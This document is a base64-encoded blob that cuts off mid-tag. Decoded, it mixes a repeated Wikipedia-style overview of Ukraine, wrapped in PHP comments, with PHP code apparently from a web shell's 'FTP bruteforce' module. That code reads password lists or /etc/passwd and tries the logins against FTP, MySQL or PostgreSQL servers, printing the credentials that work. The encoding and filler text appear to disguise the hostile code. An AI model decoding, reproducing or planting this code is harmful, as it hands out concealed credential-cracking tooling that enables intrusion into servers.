tYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJfQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKCQkJJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewoJCQkJCSRsaW5lID0gdHJpbSgkbGluZSk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRfUE9TVFsnbG9naW4nXSwgJGxpbmUpICkgewoJCQkJCQkkc3VjY2VzcysrOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJCQkJZWNobyAnPGI+Jy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnbG9naW4nXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lKS4nPGJyPic7CgkJCQkJfQoJCQkJfQoJCX0KCQllY2hvICI8c3Bhbj5BdHRlbXB0czo8L3NwYW4+ICRhdHRlbXB0cyA8c3Bhbj5TdWNjZXNzOjwvc3Bhbj4gJHN1Y2Nlc3M8L2Rpdj48YnI+IjsKCX0KCWVjaG8gJzxoMT5GVFAgYnJ1dGVmb3JjZTwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pjx0YWJsZT48Zm9ybSBtZXRob2Q9cG9zdD48dHI+PHRkPjxzcGFuPlR5cGU8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PHNlbGVjdCBuYW1lPXByb3RvPjxvcHRpb24gdmFsdWU9ZnRwPkZUUDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9bXlzcWw+TXlTcWw8L29wdGlvbj48b3B0aW9uIHZhbHVlPXBnc3FsPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+PHRyPjx0ZD4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydhJ10pLiciPicKCQkuJzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2NoYXJzZXQnXSkuJyI+JwoJCS4nPHNwYW4+U2VydmVyOnBvcnQ8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNlcnZlciB2YWx1ZT0iMTI3LjAuMC4xIj48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48c3Bhbj5CcnV0ZSB0eXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxsYWJlbD48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPXR5cGUgdmFsdWU9IjEiIGNoZWNrZWQ+IC9ldGMvcGFzc3dkPC9sYWJlbD48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWwgc3R5bGU9InBhZGRpbmctbGVmdDoxNXB4Ij48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPXJldmVyc2UgdmFsdWU9MSBjaGVja2VkPiByZXZlcnNlIChsb2dpbiAtPiBuaWdvbCk8L2xhYmVsPjwvdGQ+PC90cj4nCgkJLic8dHI+PHRkPjwvdGQ+PHRkPjxsYWJlbD48aW5wdXQ